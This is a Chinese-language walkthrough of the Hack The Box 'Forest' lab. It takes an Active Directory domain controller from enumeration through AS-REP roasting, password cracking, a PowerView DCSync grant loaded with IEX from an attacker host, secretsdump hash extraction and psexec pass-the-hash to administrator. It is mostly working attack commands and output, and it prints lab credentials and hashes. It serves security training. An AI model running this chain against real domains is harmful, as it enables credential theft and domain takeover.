nmap

靶机创建好后,我们用以下命令对其进行端口扫描:

nmap -A 10.10.10.161
-A (All)                        等同于 -sC -sV -O + 路由追踪
-sC (script)                : 执行一些默认的脚本
-sV (service Version)   : 对开放的端口进行版本的探测
-O (operation system)  : 对操作系统进行探测

扫描后的结果如下:

Nmap scan report for 10.10.10.161
Host is up (0.47s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-05-25 13:36:07Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=5/25%OT=53%CT=1%CU=31288%PV=Y%DS=2%DC=T%G=Y%TM=628E2F6
OS:9%P=aarch64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS
OS:=S%TS=A)SEQ(SP=102%GCD=1%ISR=10C%TI=I%CI=I%II=I%TS=A)OPS(O1=M54BNW8ST11%
OS:O2=M54BNW8ST11%O3=M54BNW8NNT11%O4=M54BNW8ST11%O5=M54BNW8ST11%O6=M54BST11
OS:)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W
OS:=2000%O=M54BNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR
OS:%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q
OS:=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164
OS:%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_clock-skew: mean: 2h26m50s, deviation: 4h02m32s, median: 6m48s
 smb2-security-mode: 
   3.1.1: 
_    Message signing enabled and required
 smb-security-mode: 
   account_used: guest
   authentication_level: user
   challenge_response: supported
_  message_signing: required
 smb2-time: 
   date: 2022-05-25T13:36:43
_  start_date: 2022-05-25T13:29:51
 smb-os-discovery: 
   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
   Computer name: FOREST
   NetBIOS computer name: FOREST\x00
   Domain name: htb.local
   Forest name: htb.local
   FQDN: FOREST.htb.local
_  System time: 2022-05-25T06:36:44-07:00

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   284.34 ms 10.10.16.1
2   572.39 ms 10.10.10.161

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.39 seconds

如果你和我一样,从来没有接触过DC类的靶机,看到这么多的端口号,可能会大吃一惊,并且会有一种无处下手的感觉。

从上述的端口列表中,看起来好像只有139445端口,可以枚举一下。

smbclient

所以,接下来,我们使用smbclient来对其进行枚举,看看有没有什么共享的文件能让我们进入下一步分析

我们通过以下命令来获取共享列表:

smbclient -NL 10.10.10.161
-N (no pass)    : 不需要输入密码
-L (list)           : 获取可用的共享列表

该命令返回结果如下:

Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

从上述返回结果,我们可以看到,虽然该靶机允许匿名登录,但匿名状态下,没有任何的共享内容可供我们访问。

ldapsearch

从官方给的walkthrough中,我们可以通过ldapsearch工具检查LDAP服务是否允许匿名绑定(anonymous binds)。

ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=htb,dc=local"
-h (host)           : 指定主机地址
-p (port)           : LDAP服务端口
-x                      : 简单验证(即匿名登录)
-b (basedn)         : 指定base dn

该命令的返回结果:(太长了,剩余的结果省略)

# htb.local
dn: DC=htb,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=htb,DC=local
instanceType: 5
whenCreated: 20190918174549.0Z
whenChanged: 20220525132941.0Z
subRefs: DC=ForestDnsZones,DC=htb,DC=local
subRefs: DC=DomainDnsZones,DC=htb,DC=local
subRefs: CN=Configuration,DC=htb,DC=local
......

我们在查询这个域时,并没有使用任何的凭据(credentials),却能拿到相关的信息,这就意味着这台DC靶机,开启了空绑定(null bind)。

windapsearch

这个工具依赖python-ldap,我虚拟机是arm64架构的,apt管理包里没有这个工具,先跳过。

enum4linux

同样的,我们可以使用enum4linux功能来枚举当前靶机上有哪些用户:

enum4linux -U 10.10.10.161
-U 获取用户列表哦

命令返回结果如下:

...
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
...
user:[svc-alfresco] rid:[0x47b]
...

我们可以通过enum4linux -U 10.10.10.161 2>&1 cut -d "[" -f2 cut -d "]" -f1 tail -n 32 head -n 31来对输出的结果进行过滤:

Administrator
Guest
krbtgt
DefaultAccount
...
svc-alfresco
...

GetNPUsers.py

当我们拿到用户名列表的时,将其保存至users文件里,我们可以通过GetNPUsers.py,尝试获取TGT。

./GetNPUsers.py htb/ -usersfile ./users -dc-ip 10.10.10.161 -no-pass
htb/         : 域
-usersfile  : 用户名列表
-dc-ip       : DC主机ip
-no-pass    : 不需要密码 

返回结果如下:

Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
...
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB:dfbe818542456fa0a9e0b4f4d6643bf5$c9fdc9ef111989cd2bb751f53ca27c23f5f1c610703888f34fcbc3e0a5b7fe3014f1d5337fc10e621012fcd8ba6519ec7385aa027b42c3568669da12673a6623f98ccc5216e24bc3d3a787556cd91c6d4726520cc10d8c9035e2046f26e8bebc4b303d133afec216d8f6f6c3f6a0af8915ebe19b08e50b39fadea653b2d8fd8b233888bbea95583cdb0950000f8c788801f2cb5b23c30013c8a5bd7b3ddc1e6096f29e90b9f996b2472896038816741dc510140decaf86139e6e33c9a0bd8592b1afd56de00f100c1355575aa609ffe3280f6b4c5efa860220e3bd0cf0a0fcdb
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
...

从上述结果,我们可以看到,只有svc-alfresco用户成功拿到了TGT票据,其它用户没有设置UF_DONT_REQUIRE_PREQUTH选项,或者用户证书已经被吊销了。

john

我们将NTLM的哈希值保存至pass文件中,接下来使用john工具对其进行哈希碰撞。

john --wordlist=/usr/share/wordlists/rockyou.txt pass

Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 ASIMD 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice          ($krb5asrep$23$svc-alfresco@HTB)     
1g 0:00:00:08 DONE (2022-05-26 00:02) 0.1154g/s 476763p/s 476763c/s 476763C/s sadeceben19881905..ruddle68
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

bloodhound

我们可以用bloodhound工具来枚举整个域,生成整个域的结构,具体的命令如下:

bloodhound-python -d htb.local -usvc-alfresco -p s3rvice -gc forest.htb.local -c all -ns 10.10.10.161

执行完后,会生成与域相关的json文件:

-rw-r--r-- 1 root root   3256 May 27 22:38 20220527223717_computers.json
-rw-r--r-- 1 root root   2937 May 27 22:38 20220527223717_domains.json
-rw-r--r-- 1 root root 142016 May 27 22:38 20220527223717_groups.json
-rw-r--r-- 1 root root  94855 May 27 22:38 20220527223717_users.json
-rw-r--r-- 1 root root   6976 May 27 22:40 20220527223934_computers.json
-rw-r--r-- 1 root root   2937 May 27 22:40 20220527223934_domains.json
-rw-r--r-- 1 root root 142016 May 27 22:40 20220527223934_groups.json
-rw-r--r-- 1 root root  94855 May 27 22:40 20220527223934_users.json

有了这些json文件后,就可以用Bloodhound GUI工具,将这些json文件导入,然后就可以生成可视化的域环境。 (悲催的是,我这里没办法运行GUI工具,所以就只能跳过了。)

在可视化界面里,点击“Find shortest Paths to High-Value Target”,就能发现“Exchange Windows Permissions”这个组具有“WriteDacl”的权限。

因此,我们就创建一个属于“Exchange Windows Permissions”的用户,就可以绕过ACL导出其它用户的凭据。

evil-winrm -i 10.129.1.77 -u svc-alfresco -p s3rvice

#创建用户
net user gaoxiaodiao abc123! /add /domain
net group "Exchange Windows Permissions" gaoxiaodiao /add
net localgroup "Remote Management Users" gaoxiaodiao /add

powerview.ps1

工具地址:

我们还需要利用PowerView脚本中Add-ObjectACL方法,通过gaoxiaoodiao用户的凭据,获取DCSync的权利。

#执行PowerView脚本
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.110/PowerView.ps1')

#调用Add-ObjectACL方法获取DCSync权限
$pass = convertto-securestring 'abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\gaoxiaodiao', $pass)
Add-ObjectACL -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity gaoxiaodiao -Rights DCSync

secretsdump.py

接下来,我们就可以利用secretsdump.py脚本,拿到所有用户的NTLM哈希。

python3 secretsdump.py gaoxiaodiaoo:abc123!@10.10.10.161

htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::

psexec.py

最后,我们用psexec.py工具,通过NTLM哈希来以administrator身份拿到shell,最终拿到flag!!!

python3 psexec.py administrator@10.129.1.77 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 -no-pass
type C:\Users\Administrator\Desktop\root.txt
1efbcc32e0a0caf5dba96710decc4c36

相关链接

攻略篇

工具篇